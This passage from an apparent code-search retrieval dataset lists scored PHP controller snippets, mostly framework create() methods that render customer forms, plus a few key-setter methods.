$quote_statuses,\n\n 'customer_general' => $customer_general,\n 'general_maintenance_contracts' => $general_maintenance_contracts,\n 'general_signalling_types' => $general_signalling_types,\n 'general_other_labels' => $general_other_labels,\n 'general_misc1_labels' => $general_misc1_labels,\n 'general_misc2_labels' => $general_misc2_labels,\n ]);\n }", "title": "" } ]
[ { "docid": "ddfe11ca3681bf8010f81bcb5136991d", "score": "0.85372627", "text": "public function create()\n\t{\n\t\treturn view('forms.customer');\n\t}", "title": "" }, { "docid": "c84fe18ebd673b78d2a7dcc708718dc6", "score": "0.84509665", "text": "public function getCreateCustomer() {\n\t\treturn view('admin.customer-form');\n\t}", "title": "" }, { "docid": "eee61f876fca90e4b82f7043fdb86d70", "score": "0.84296644", "text": "public function create() {\n\t\t\t\n\t\t\tUtility::logEvent('Show new customer page');\n\t\t\treturn view('layouts.customer_create');\n\t\t}", "title": "" }, { "docid": "86a5badfcbce5d46230ab34971f46a98", "score": "0.83376896", "text": "public function create()\n {\n return view('admin.customer.form');\n }", "title": "" }, { "docid": "2fcff0e8d6fa1e5744e97851d774f35a", "score": "0.82352424", "text": "public function create()\n {\n return view(\"admin.customer.create\");\n }", "title": "" }, { "docid": "eeca94833583f7305b0c7c9ca9678994", "score": "0.81347716", "text": "public function create()\n {\n return view(\"pages.customer.create\");\n }", "title": "" }, { "docid": "641694c0acb010e56c616a5942c03745", "score": "0.81276363", "text": "public function create()\n {\n return view('backend.admin.customer.add');\n }", "title": "" }, { "docid": "4cb3d1906d92a316228d04aae9155adf", "score": "0.8124134", "text": "public function create()\n { \n return view('customers.customerform');\n }", "title": "" }, { "docid": "a64015ad7f6e50be23799bc5fcfaf1c8", "score": "0.8100687", "text": "public function create()\n {\n return view('admin.master.customer.add');\n }", "title": "" }, { "docid": "a36ef9dd40247e4b83d80507abd22095", "score": "0.8065043", "text": "public function create()\n {\n return view('customer.addCustomer');\n }", "title": "" }, { "docid": "d7a829a3394efa22e0cf923aa0f40a4d", "score": "0.8052897", "text": "public function create()\n {\n return view('admin.customer.create');\n }", "title": "" }, { "docid": "d7a829a3394efa22e0cf923aa0f40a4d", "score": "0.8052897", "text": "public function create()\n {\n return view('admin.customer.create');\n }", "title": "" }, { "docid": "f7660eba323d5c5bf2b552e33af57f9c", "score": "0.80327433", "text": "public function create()\n {\n return view('backend.customer.create');\n }", "title": "" }, { "docid": "c803764026a64f45500245f998d21f35", "score": "0.8003379", "text": "public function create()\n {\n return view('pages.admin.customers.create');\n }", "title": "" }, { "docid": "bc65ec12d16e276d5eba4c3e0f92a328", "score": "0.79891384", "text": "public function create()\n {\n return View('backend.customer.create');\n }", "title": "" }, { "docid": "961bcbdcf99329c75805affc1126559a", "score": "0.79886216", "text": "public function create()\n {\n return view('create_customer');\n }", "title": "" }, { "docid": "adde23fc65c59aa49abfbf5cb4aaa9d6", "score": "0.79813933", "text": "public function view_create_cust()\n\t{\t\n\t\t$page['title'] = \"Create Customer\"; \n\t\t$page['description'] = \"Add or create new customer\"; \n\n\t\t$this->load->view('contacts/cust_create_view', $page); \n\t}", "title": "" }, { "docid": "777c86132b48c144b916bab10093da8c", "score": "0.7954253", "text": "public function create()\n {\n return view(\"customers.create\");\n }", "title": "" }, { "docid": "ee4f0f9e302c33cee23c4f13d42c1f9c", "score": "0.7951396", "text": "public function create()\n {\n return view('admin.customers.create');\n }", "title": "" }, { "docid": "ee4f0f9e302c33cee23c4f13d42c1f9c", "score": "0.7951396", "text": "public function create()\n {\n return view('admin.customers.create');\n }", "title": "" }, { "docid": "6047ef0dc4752eeda805839296cddc7c", "score": "0.7932839", "text": "public function create() {\n $title = 'Customers | create';\n return View::make('admin.customers.add', compact('title'));\n }", "title": "" }, { "docid": "b4e9519a566930fcb5abcc74f35c7604", "score": "0.7930764", "text": "public function create()\n {\n return view('planner.customers.create');\n }", "title": "" }, { "docid": "23c607d28e1061a47ddc8c689fed2415", "score": "0.7910313", "text": "public function create()\n {\n return view('customer.add');\n }", "title": "" }, { "docid": "9d31c16fc5337ebff7227bf5883349d1", "score": "0.7905715", "text": "public function create()\n {\n return view('customer.create');\n }", "title": "" }, { "docid": "9d31c16fc5337ebff7227bf5883349d1", "score": "0.7905715", "text": "public function create()\n {\n return view('customer.create');\n }", "title": "" }, { "docid": "9d31c16fc5337ebff7227bf5883349d1", "score": "0.7905715", "text": "public function create()\n {\n return view('customer.create');\n }", "title": "" }, { "docid": "9d31c16fc5337ebff7227bf5883349d1", "score": "0.7905715", "text": "public function create()\n {\n return view('customer.create');\n }", "title": "" }, { "docid": "80a2fdc61a66b89b5db9c1bf12888794", "score": "0.789399", "text": "public function create()\n\t{\n\t\t$userId = Auth::user()->id;\n\t\t$type = DataQuery::arraySelectCustomerType();\n\t\t$agent = DataQuery::arraySelectAgent($userId, false);\n\t\t$contact = DataQuery::arraySelectContactByCustomer($userId, 0);\n\t return view(config('quickadmin.route').'.myCustomer.create', compact(array('userId', 'type', 'agent', 'contact')));\n\t}", "title": "" }, { "docid": "3621ed7da1dbb846df51c310036ed0ea", "score": "0.78585744", "text": "public function create()\n {\n $shop = ShopifyApp::shop();\n\n return view('customer-create');\n }", "title": "" }, { "docid": "c3907cc1275586a9efb1b308f2830564", "score": "0.7857038", "text": "public function create()\n {\n return view('mcustomers.create');\n }", "title": "" }, { "docid": "dae34a3cce7d8defa09fa36faf41d1e7", "score": "0.7844621", "text": "public function create()\n {\n //\n return view('customer.create');\n }", "title": "" }, { "docid": "ac3acc7cbcbf5293d2908cdc5bed8741", "score": "0.7832118", "text": "public function create()\n {\n return view('absrc.customers.create');\n }", "title": "" }, { "docid": "462436978324e811fa33a0d565196aec", "score": "0.7815236", "text": "protected function create()\n {\n return view('customers.create');\n }", "title": "" }, { "docid": "08c03e38a79db2bc85c865a7782eb110", "score": "0.7803723", "text": "public function create(Customer $customer)\n\t{\n\t\t$customers = $customer::all();\n\t\treturn view('forms.create', compact('customers'));\n\t}", "title": "" }, { "docid": "b3bd57d6269d10c8955e266e041d0568", "score": "0.7782986", "text": "public function createAction()\n\t{\n\t\t// Get form data\n\t\t$data = Helpers::getFormData(array(\n\t\t\t'customer_name',\n\t\t\t'customer_email',\n\t\t\t'customer_cpf',\n\t\t\t'due_date',\n\t\t\t'charges_status',\n\t\t\t'payment_methods',\n\t\t\t'charge_value',\n\t\t\t'description'\n\t\t));\n\n\t\t/**\n\t\t * Check if the customer is already registered\n\t\t * If true, gets the customer id\n\t\t * Else, saves on database and get it's id\n\t\t */\n\t\t$customer = new Customers();\n\t\tif ($customer->findByEmailCpf($data['customer_email'], $data['customer_cpf'])) {\n\n\t\t\t// Gets customer id\n\t\t\t$data['customer_id'] = $customer->getId();\n\n\t\t\t// Defines if needs to update customer data\n\t\t\t$updateCustomer = false;\n\n\t\t\t// If user changed the name of customer\n\t\t\tif ($customer->getName() != $data['customer_name'] && !empty($data['customer_name'])) {\n\t\t\t\t$customer->setName($data['customer_name']);\n\t\t\t\t$updateCustomer = true;\n\t\t\t}\n\n\t\t\t// If user added a email or changed it\n\t\t\tif ($customer->getEmail() != $data['customer_email'] && !empty($data['customer_email'])) {\n\t\t\t\t$customer->setEmail($data['customer_email']);\n\t\t\t\t$updateCustomer = true;\n\t\t\t}\n\n\t\t\t// If user added a cpf or changed it\n\t\t\tif ($customer->getCpf() != $data['customer_cpf'] && !empty($data['customer_cpf'])) {\n\t\t\t\t$customer->setCpf($data['customer_cpf']);\n\t\t\t\t$updateCustomer = true;\n\t\t\t}\n\n\t\t\t// If some data changed, update the customer\n\t\t\tif ($updateCustomer) {\n\t\t\t\t$customer->update();\n\t\t\t}\n\t\t} else {\n\n\t\t\t// Saves customer data\n\t\t\t$customer->setName($data['customer_name'])\n\t\t\t\t->setEmail($data['customer_email'])\n\t\t\t\t->setCpf($data['customer_cpf']);\n\n\t\t\tif ($customer->create()) {\n\t\t\t\t$data['customer_id'] = DBConnect::getLastId();\n\t\t\t} else {\n\t\t\t\tdie('Falha ao cadastrar cliente');\n\t\t\t}\n\t\t}\n\n\t\t/**\n\t\t * Creates the charge\n\t\t */\n\t\t$charge = new Charges();\n\t\t$charge->setDueDate($data['due_date'])\n\t\t\t->setValue($data['charge_value'])\n\t\t\t->setDescription($data['description'])\n\t\t\t->setCustomersId($data['customer_id'])\n\t\t\t->setPaymentMethodId($data['payment_methods']);\n\n\t\t$success = $charge->create();\n\t\t$msg = $success ?\n\t\t\t'Cobrança cadastrada com sucesso' :\n\t\t\t'Falha ao cadastrar cobrança. Tente novamente';\n\n\t\theader('Location: ' . BASE_PATH . '?success=' . $success . '&msg=' . $msg);\n\t\texit;\n\t}", "title": "" }, { "docid": "29ca8cefc816d613da4a33b57c33485e", "score": "0.7772794", "text": "public function create()\n {\n //\n return view('sales.customers.create');\n }", "title": "" }, { "docid": "92e7c9200ac3f28929a9016941f2deb9", "score": "0.7760023", "text": "public function create()\n {\n return view('customers.create');\n }", "title": "" }, { "docid": "92e7c9200ac3f28929a9016941f2deb9", "score": "0.7760023", "text": "public function create()\n {\n return view('customers.create');\n }", "title": "" }, { "docid": "92e7c9200ac3f28929a9016941f2deb9", "score": "0.7760023", "text": "public function create()\n {\n return view('customers.create');\n }", "title": "" }, { "docid": "92e7c9200ac3f28929a9016941f2deb9", "score": "0.7760023", "text": "public function create()\n {\n return view('customers.create');\n }", "title": "" }, { "docid": "711b81671835454dafeb8aef762acefc", "score": "0.7758002", "text": "public function create()\n {\n return \\Inertia\\Inertia::render('Customer/Create', [\n 'status_options' => (object)Customer::statusOptions(),\n 'store_url' => URL::route('customer.store'),\n 'back_url' => URL::route('customer.index'),\n 'error_messages' => (object)$this->error_messages,\n 'breadcrumb' => $this->breadcrumb([['name' => 'Add']])\n ]);\n }", "title": "" }, { "docid": "a4f4b53d7b783ac83afdd5dadaf3757c", "score": "0.7741434", "text": "public function create()\n {\n return view('customers/create');\n }", "title": "" }, { "docid": "48e407576ee10acec20c7f37b1c802e2", "score": "0.77303195", "text": "public function actionCreate()\n {\n $model = new Customer();\n\n if (Yii::$app->request->isPost) {\n $newCustomer = new Customer();\n $request = Yii::$app->request->post('Customer');\n\n $newCustomer->name = $request['name'];\n $newCustomer->email = $request['email'];\n $newCustomer->user_id = Yii::$app->user->id;\n $newCustomer->save();\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "b4cbbf48e2ea8c7007a77af6daf8daff", "score": "0.7713513", "text": "public function create()\n {\n return view('pages.new-customer', ['accounts' => Accounts::all()]);\n }", "title": "" }, { "docid": "a20033817039ea3e6f6ea9959690ad1b", "score": "0.77122676", "text": "public function create()\n {\n return view(auth()->user()->role . '.customers.create')\n ->with('title', 'Create Customer');\n }", "title": "" }, { "docid": "3f074a1ebddc2de10f7c6ae29e90ccba", "score": "0.77019775", "text": "public function create()\n {\n //\n return view('customer');\n }", "title": "" }, { "docid": "840993df31ff810345852d9a0bbe9645", "score": "0.76835096", "text": "public function create()\n {\n //\n return view('customers/create');\n }", "title": "" }, { "docid": "643d572fe7c7f1b5eff6547db64b056d", "score": "0.7675857", "text": "public function create()\n {\n return view('ticket.customer-create');\n }", "title": "" }, { "docid": "1aa43884ee774bb5985ea6a131e51879", "score": "0.76690274", "text": "public function actionCreate()\n {\n $model = new Customer;\n $model->scenario = 'create';\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if (isset($_POST['Customer'])) {\n $model->attributes = $_POST['Customer'];\n if ($model->save())\n $this->redirect(array('index'));\n }\n\n $this->render('create', array(\n 'model' => $model,\n ));\n }", "title": "" }, { "docid": "3f0729d0da3bf8fbab54343f13a1004a", "score": "0.7667582", "text": "public function create()\n {\n //\n// return view('pages.customer_create');\n }", "title": "" }, { "docid": "8a3a41b88d54db426fc6e259c204eb07", "score": "0.7639321", "text": "public function create()\n\t{\n\t\t$customer_ids = Customer::all()->pluck('customer_id');\n\t\t$customer_type_ids = CustomerDemographic::all()->pluck('customer_type_id');\n\t\t\n\t\treturn view('forms.customer_customer_demo', compact(['customer_ids', 'customer_type_ids']));\n\t}", "title": "" }, { "docid": "656dfd090faec255d5fb45f957791708", "score": "0.7638194", "text": "public function create()\n {\n return view('main.expedition.customer_addon.create');\n }", "title": "" }, { "docid": "9fbea1efee2941e0efe274a16c9e6ccc", "score": "0.7635915", "text": "public function create()\n {\n $customer = new Customer;\n \n return view('customers.new');\n }", "title": "" }, { "docid": "37b7565f81dbdfe3f0800c51b941793a", "score": "0.76197594", "text": "public function create()\n {\n //\n\n\n\n return view('customer/create');\n\n }", "title": "" }, { "docid": "c4bbcd45c27af3584d9d3d0700c9c2a1", "score": "0.75569427", "text": "public function create()\n {\n return view('admin.customer.create')\n ->with('branches', Branch::all());\n }", "title": "" }, { "docid": "57b15d239adfb7b809f4a4401a1ed5c3", "score": "0.7554348", "text": "public function newCustomer(){\n\t\t$this->load->view('v-new-customer');\n\t}", "title": "" }, { "docid": "b03139b56f9aee7dca9a510c114c78a4", "score": "0.7531311", "text": "public function actionCreate() {\n $model = new CustomerInfo;\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if (isset($_POST['CustomerInfo'])) {\n $model->attributes = $_POST['CustomerInfo'];\n if ($model->save())\n $this->redirect(array('view', 'id' => $model->id));\n }\n\n $this->render('create', array(\n 'model' => $model,\n ));\n }", "title": "" }, { "docid": "5d4b00b38bbd63ef9fe2551b90322263", "score": "0.751669", "text": "public function create(Customer $customer)\n {\n return view('views::customers.form', compact('customer'));\n }", "title": "" }, { "docid": "1237e3c2ac7d5d6a3a1505018ef12bf4", "score": "0.7504343", "text": "public function create()\n {\n $nomor = Customer::orderBy('id', 'desc')->first()->nomor;\n $nomor_baru = 'MP' . Utils::intTo5(intval(substr($nomor, -5)) + 1);\n\n return view('customer.new', [\n 'nomor_baru' => $nomor_baru,\n 'author' => 'admin',\n ]);\n }", "title": "" }, { "docid": "b76ac740d7516c05e38ed4b57e08fc61", "score": "0.74926627", "text": "public function getCreate() {\n $dc_customers = DcCustomers::all();\n $dc_customer = \"\";\n $customers = Customers::all();\n $customer = \"\";\n $locations = DcLocation::all();\n $location = \"\";\n $service_types = ServiceType::all();\n $service_type = \"\";\n return view('admin.customers.create_edit_dc_customer', \n compact('dc_customer','dc_customers','location',\n 'locations','service_type','service_types','customers','customer'));\n }", "title": "" }, { "docid": "e0a9d9d5dbae09e44c244a874bc5074a", "score": "0.7464757", "text": "public function create(Customer $customer) {\n\t\treturn view('customers.contacts.create', compact('customer'));\n\t}", "title": "" }, { "docid": "1ee72ac749467b572eb78e983a3fd43b", "score": "0.745486", "text": "public function create()\n {\n $customer_no = $this->generateCustomerNumber();\n return view('pages.customer.register',compact('customer_no'));\n }", "title": "" }, { "docid": "451860d165f0019bb1aa023d31efa0f9", "score": "0.7439041", "text": "public function create()\n {\n return view('backend.customer_supplier.add');\n }", "title": "" }, { "docid": "52f72e9d90e258cadfd390d6f7343a25", "score": "0.74317026", "text": "public function create()\n {\n $companies = Company::all();\n $customer = new Customer();\n return view('customers.create', [\n 'companies' => $companies,\n 'customer' => $customer,\n ]);\n }", "title": "" }, { "docid": "7f4699c74ac9bfb661c018b283bfded1", "score": "0.74221957", "text": "public function create()\n\t{\n\t\treturn view('partner.customer-hire.create');\n\t}", "title": "" }, { "docid": "0901c763fc8d5e77a04c85a0a983e2a2", "score": "0.74033886", "text": "public function create()\n\n\n {\n $data = [\n 'customers' => Customer::all()\n ];\n\n return view('customer.create')->with($data);\n }", "title": "" }, { "docid": "9f9f31bbcd031d0bb619f2a46bb1bd61", "score": "0.73715144", "text": "public function create()\n {\n $companies = Company::lists('name', 'id');\n\n return view('customer.create', compact('companies'));\n }", "title": "" }, { "docid": "21649f063ceeea5acae369e63ab0b4c1", "score": "0.73659635", "text": "public function create()\n {\n //\n // $this->authorize('create',customer::class);\n return response()->view('cms.customer.create');\n }", "title": "" }, { "docid": "7dce9e4f887c577563cc74849bd1746c", "score": "0.7359092", "text": "public function create()\n {\n $options = Contact_options::all();\n return view('customers.create', ['contact_options' => $options]);\n }", "title": "" }, { "docid": "f4b0c5b64dd5a3600e7684873f1ee6d2", "score": "0.7352925", "text": "public function create_customer(){ \n\t\t// set the page title\t\t\n\t\t$this->set('title_for_layout', 'Create Customer - Finance - My PDCA');\t\n\t\t// fetch the list of states\n\t\t$this->loadModel('State');\n\t\t$state_list = $this->State->find('list', array('fields' => array('id','state_name'), 'order' => array('state_name ASC'),'conditions' => array('State.status' => 1)));\n\t\t$this->set('stateList', $state_list);\n\t\t// fetch the company types\n\t\t$this->set_company_types();\n\t\tif ($this->request->is('post')){ \n\t\t\t// validates the form\n\t\t\t$this->TskCustomer->set($this->request->data);\n\t\t\tif ($this->TskCustomer->validates(array('fieldList' => array('company_name', 'email','phone','address','city','zip','type','app_state_id','status')))) {\n\t\t\t\t$this->request->data['TskCustomer']['created_by'] = $this->Session->read('USER.Login.id');\t\t\t\t\n\t\t\t\t$this->request->data['TskCustomer']['created_date'] = $this->Functions->get_current_date();\n\t\t\t\t// save the data\n\t\t\t\tif($this->TskCustomer->save($this->request->data['TskCustomer'])) {\t\t\t\t\t\n\t\t\t\t\t// show the msg.\n\t\t\t\t\t$this->Session->setFlash('<button type=\"button\" class=\"close\" data-dismiss=\"alert\">&times;</button>Company details created successfully', 'default', array('class' => 'alert alert-success'));\n\t\t\t\t\t$this->redirect('/tskcustomers/');\n\t\t\t\t}else{\n\t\t\t\t\t$this->Session->setFlash('<button type=\"button\" class=\"close\" data-dismiss=\"alert\">&times;</button>Problem in saving the data...', 'default', array('class' => 'alert alert-error'));\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t$this->Session->setFlash('<button type=\"button\" class=\"close\" data-dismiss=\"alert\">&times;</button>Problem in submitting the form. please check errors...', 'default', array('class' => 'alert alert-error'));\t\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "01d23159d23ffc3bb812653c74e39f94", "score": "0.7346606", "text": "public function create()\n {\n $data = $this->customerRepository->getSyncList();\n\n return view('customers.create', compact('data'));\n }", "title": "" }, { "docid": "7f893e5d78a3cabfe44a1332d19d5519", "score": "0.7323245", "text": "public function create()\n\t{\n return view('customer_orders.create');\n\n\t}", "title": "" }, { "docid": "bb079d78e01614d33b7889bc33b3023c", "score": "0.7321378", "text": "public function create()\n\t{\n\t\treturn view('admin.customer-withdraw.create');\n\t}", "title": "" }, { "docid": "9974366a2a8cd352d36ce80d0c0a66e2", "score": "0.7316846", "text": "public function create()\n {\n $phoneTypes = PhoneType::all();\n $phoneBrands = PhoneBrand::all();\n $sellers = [];\n\n if (Auth::user()->isAdmin()) {\n $sellers = User::query()->notMe()->sellers()->get();\n }\n\n return view('customer.form', compact('phoneTypes', 'phoneBrands', 'sellers'));\n }", "title": "" }, { "docid": "ff55bcfad9bd52bc1caaf69c141adc9b", "score": "0.72520804", "text": "public function create()\n {\n //\n $customers = Customer::all();\n\n return view('payments.receivable.create',compact('customers'));\n }", "title": "" }, { "docid": "e58dbf28b71b6c523fde62c5e310b206", "score": "0.72258353", "text": "public function create()\n {\n $customers = Customer::all();\n return view('admin.customers.index')->with('customers',$customers);\n }", "title": "" }, { "docid": "7b525fd0a75a768034978cb92bd08912", "score": "0.7221107", "text": "public function create()\n {\n \n\t\t$customers = Customer::all();\n// \treturn view('order.create',compact('customers', $customers));\n \treturn view('order.create',array('customers' => $customers));\n// return view('order.create');\n }", "title": "" }, { "docid": "6a99dd7c2b96f96c80b3b926b607b9b7", "score": "0.7215995", "text": "public function create()\n {\n // Show the page\n return view('admin.credit.create_edit');\n }", "title": "" }, { "docid": "f9005d0ede6a7c9a02b263709e415400", "score": "0.7214326", "text": "public function create()\n {\n return view('master/datacustomer/tambah_datacustomer');\n }", "title": "" }, { "docid": "6d06a4b68f6d402bad59c724d3e4ba45", "score": "0.7196407", "text": "public function create()\n\t{\n\t\t$customer = Customer::lists('nama', 'id');\n\t\t\n\t\treturn View::make('layanansbps.create', ['customer' => $customer]);\n\t}", "title": "" }, { "docid": "ce64a5dfcb08b86056617b3a684682be", "score": "0.7173427", "text": "public function AddCustomer(){\n return view('Customer.add_customer');\n }", "title": "" }, { "docid": "d3194d7e48b40080873f744c76ff7464", "score": "0.7122849", "text": "public function create()\n {\n //\n return view('customerService.index');\n }", "title": "" }, { "docid": "25f912097858426291657ade2c3dec4d", "score": "0.71123236", "text": "public function create()\n {\n return view('clients.createForm');\n }", "title": "" }, { "docid": "3bedbc2b837a677cbd1a0c2287d4ce29", "score": "0.7112014", "text": "public function create()\n {\n if ( isset(\\Auth::user()->username) ) {\n switch (\\Auth::user()->username) {\n case 'Sales':\n break;\n case 'Development';\n return redirect(action('developmentController@index'));\n break;\n case 'Finance':\n return redirect(action('financeController@index'));\n break;\n default:\n return view('auth/login');\n }\n } else {\n return view('auth/login');\n }\n\n return view('add_customer');\n }", "title": "" }, { "docid": "976db79c50f8e3e2082b1f8acae308f0", "score": "0.70991933", "text": "public function actionCreate()\n\t{\n\t\t$model=new Customers;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Customers']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Customers'];\n\t\t\tif($model->save())\n\t\t\t{\n\t\t\t\t$log_creation = New Createlog;\n\t\t\t\t$log = \"Time : \".' - '.date(\"F j, Y, H:i:s \").PHP_EOL.\"\\r\\n\".\n\t\t\t\t\"Action : New customer created\".PHP_EOL.\"\\r\\n\".\n\t\t\t\t\"Customer ID : \".$model->uid.PHP_EOL.\"\\r\\n\".\n\t\t\t\t\"-------------------------\".PHP_EOL.\"\\r\\n\";\n\t\t\t\t$log_creation->create_log_msg($log);\n\t\t\t\t$this->redirect(array('chart','id'=>$model->id));\n\t\t\t}\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t\t'model'=>$model,\n\t\t));\n\t}", "title": "" }, { "docid": "30cd7b4aeffc30c67c608b34b66285d9", "score": "0.7041752", "text": "public function create()\n {\n return view('pages.new-transact', ['route' => 'admin.search-customer']);\n }", "title": "" }, { "docid": "47c746c2c8c4e59e5083dd4b709d6592", "score": "0.70326966", "text": "public function create()\n {\n if (permissions('customers_add') == 0) {\n //set session message\n Session::flash('message', __('strings.do_not_have_permission'));\n return view('permissions');\n }\n\n //maximum plan verification by hossam\n $current_created_customers = Customers::where('org_id', Auth::user()->org_id)->get()->count();\n $plan = org::where('id', Auth::user()->org_id)->first();\n if ($plan != null) {\n $plan_id = $plan->plan_id;\n }\n\n $maxmimum_customers_number = Plans::where('id', $plan_id)->first()->customer_value;\n if ($current_created_customers >= $maxmimum_customers_number) {\n Session::flash('danger', __('strings.exeeds maximum number of customers'));\n\n //redirect back to users.index\n return redirect('admin/customers');\n }\n $countries = Countries::all();\n //end maximum plan verification by hossam\n return view('customers.create',compact('countries'));\n }", "title": "" }, { "docid": "3b7a1178fb49712baa4b945d0b21113a", "score": "0.7021316", "text": "public function create()\n {\n return view('billing_info.create');\n }", "title": "" }, { "docid": "dcd92c1f76a2a131bbdba06f98d8e533", "score": "0.70158416", "text": "public function create()\n {\n return view('directory.custodio.create');\n }", "title": "" }, { "docid": "88f936012cf873519ffe6141f86e4baf", "score": "0.70027834", "text": "public function create()\n {\n $customers = Customer::all();\n if ($customers->isEmpty())\n {\n return redirect('project')->with('error', 'Belum Ada Customer Yang Dapat Di Assign');\n }\n return view('project.create', compact('customers'));\n }", "title": "" }, { "docid": "436ce5cef1a81fe23eb05e7663eac38c", "score": "0.7002265", "text": "public function create()\n {\n //\n return view('admin.forms.form-cliente');\n }", "title": "" }, { "docid": "1b7a08700fb5d976215ddaee15e148a0", "score": "0.6997742", "text": "public function create()\n {\n $companies = Company::all();//fetching data from company \n $customer= new Customer;\n return view('customers.create',compact('companies', 'customer'));\n }", "title": "" }, { "docid": "e84e47c24538a53f944f597700049c0f", "score": "0.6990024", "text": "public function customerReqForm()\n {\n return view('pages.customer.customerReq');\n }", "title": "" }, { "docid": "170f959a17f023d77b4ea214d7e46573", "score": "0.6986462", "text": "public function create()\n {\n return view('admin.customer.themkhachhang');\n }", "title": "" }, { "docid": "2d7555b6a53555b332da9ec5cd53b7d7", "score": "0.6974802", "text": "public function create()\n {\n return view('admin.cliente.cliente-form');\n }", "title": "" }, { "docid": "f04bb4f9d6995e204e17b2562af0693f", "score": "0.69706357", "text": "public function create()\n {\n //\n $pelanggan = Customer::get();\n return view('tambahcust',compact('pelanggan'));\n }", "title": "" }, { "docid": "c57558bb0950344f0c64008fd0e7ad3d", "score": "0.6969621", "text": "public function create()\n {\n //\n $instititutes = Institute::all()->where('isdeleted','N');\n $customerCategories = CustomerCategory::all()->where('isdeleted','N');\n $states = State::all()->where('isactive','yes');\n return view('customers.create',compact('instititutes', 'customerCategories','states'));\n }", "title": "" }, { "docid": "d3268556391ba1c1ce5a34452b231674", "score": "0.6939169", "text": "public function create()\n {\n return view('layouts.admin.customer_story.create');\n }", "title": "" }, { "docid": "7b9fc872c2c2facb9418094268ccc4eb", "score": "0.6934914", "text": "public function create()\n {\n\t if(empty(Auth::check())){\n\t\t return Redirect::to('/');\n\t }\n return View::make('customer.create');\n }", "title": "" }, { "docid": "b4525945bdcd19e970b4d9b86a6193ce", "score": "0.69216436", "text": "public function createAction() {\n $post_request = (array) $this->postZingRequest();\n\n /** Handle the request */\n $errors = $this->_handleRequest($post_request);\n\n return $this->renderAdmin('ZingCorePageBundle:Default:form.html.twig', array_merge(\n array(\n 'zing_form_action' => 'Create',\n 'zing_form_errors' => $errors,\n 'post_request' => $post_request\n ),\n $post_request\n ));\n }", "title": "" }, { "docid": "f1079c5016e3e8adae92b13e7d57a0e2", "score": "0.68934774", "text": "public function create()\r\n\t{\r\n\t\treturn view('coupons.create');\r\n\t}", "title": "" } ]
c655a892894f7d3755ca133cad8acc03
setKey() Raw setter for field "key", for INSERT, REPLACE and UPDATE
[ { "docid": "40377f7cef7ccf49714c46f8494ae1b0", "score": "0.5983175", "text": "public function setKeyRaw($key)\n {\n $this->raw['key'] = $key;\n return $this;\n }", "title": "" } ]
[ { "docid": "379c5c37d697d89d58dc6449882e5e66", "score": "0.7430264", "text": "public function set_key( $key );", "title": "" }, { "docid": "fbde91d72d97e543af2afd0dfd855a63", "score": "0.7355673", "text": "public function setKey($key) {}", "title": "" }, { "docid": "73718abc74256c698ef1b18aeb15238f", "score": "0.7259229", "text": "public function setKey($key){ }", "title": "" }, { "docid": "1f67673bdab5a249e508d2272bff59dd", "score": "0.72515845", "text": "public function setKey($key);", "title": "" }, { "docid": "1c39781756ef9e89dcbc73f8d0613085", "score": "0.7042248", "text": "public function setKey(string $key);", "title": "" }, { "docid": "6e07fb464196f08627318804ffcc871b", "score": "0.6903864", "text": "public function set($key, $data);", "title": "" }, { "docid": "6ae1795ec2d5447bf9a296688f187ec3", "score": "0.6899659", "text": "public abstract function set($key, $value);", "title": "" }, { "docid": "31aeb96c11126836645271ed0f828a0c", "score": "0.6855303", "text": "abstract protected function setValue($key, $value);", "title": "" }, { "docid": "0a6a56d46f1d7ee1eb93ab6327e60ba1", "score": "0.68486065", "text": "abstract public function set($key, $value);", "title": "" }, { "docid": "e450253fe859e6fad581ffcb482d528e", "score": "0.6826129", "text": "private function setkey($key){\n\t\t$this->key = $key;\n\t}", "title": "" }, { "docid": "813f3548c30510d3095a3f1c67cbb61c", "score": "0.67814165", "text": "protected function setKey($key)\n {\n $this->key = $key;\n }", "title": "" }, { "docid": "dd62789bac600b5f5e2b12953dccd380", "score": "0.67708784", "text": "public function setKey($key) {\n\t\t$this->key = $key;\n\t}", "title": "" }, { "docid": "dd62789bac600b5f5e2b12953dccd380", "score": "0.67708784", "text": "public function setKey($key) {\n\t\t$this->key = $key;\n\t}", "title": "" }, { "docid": "127a9aca3a12af381a48faa8653b1d05", "score": "0.67692006", "text": "abstract public function set($key, $value, $id);", "title": "" }, { "docid": "a4be7cd53a80473dedadd4e0be4d770a", "score": "0.67663723", "text": "public function setKey($key)\n {\n $this->key = $key;\n if (!$this->explicit_key_length) {\n $this->key_length = strlen($key) << 3;\n }\n $this->changed = true;\n }", "title": "" }, { "docid": "0f3fe721ec553d6e1ec80a12317a8401", "score": "0.67081976", "text": "public function setKey($key)\n {\n $this->key = $key;\n }", "title": "" }, { "docid": "0f3fe721ec553d6e1ec80a12317a8401", "score": "0.67081976", "text": "public function setKey($key)\n {\n $this->key = $key;\n }", "title": "" }, { "docid": "0f3fe721ec553d6e1ec80a12317a8401", "score": "0.67081976", "text": "public function setKey($key)\n {\n $this->key = $key;\n }", "title": "" }, { "docid": "0f3fe721ec553d6e1ec80a12317a8401", "score": "0.67081976", "text": "public function setKey($key)\n {\n $this->key = $key;\n }", "title": "" }, { "docid": "df2597bfac1542492ca08526ff5a7f9f", "score": "0.66761595", "text": "public function __set(string $key, $value);", "title": "" }, { "docid": "ebb4ccdae48bb5d90eaeb09535dc92c3", "score": "0.6667845", "text": "public function set( $key, $value );", "title": "" }, { "docid": "28de94531212c71e987e6d7df9812096", "score": "0.66513497", "text": "abstract public function set(string $key, $value): void;", "title": "" }, { "docid": "7da5f56eb2506ed8edb5050d8d066557", "score": "0.6637338", "text": "public function __set ($key, $value);", "title": "" }, { "docid": "36e1c47beaf620a64ca0a4aa1e917982", "score": "0.66257155", "text": "public function set($key, $value) {}", "title": "" }, { "docid": "c2db125499a88ca4ce050b1653770762", "score": "0.66184896", "text": "public function SetKey($key) { \n $this->m_key = $key; \n }", "title": "" }, { "docid": "ddd9ba53e4b66a057c4d35452cc333cc", "score": "0.660995", "text": "function setValue($key, $value);", "title": "" }, { "docid": 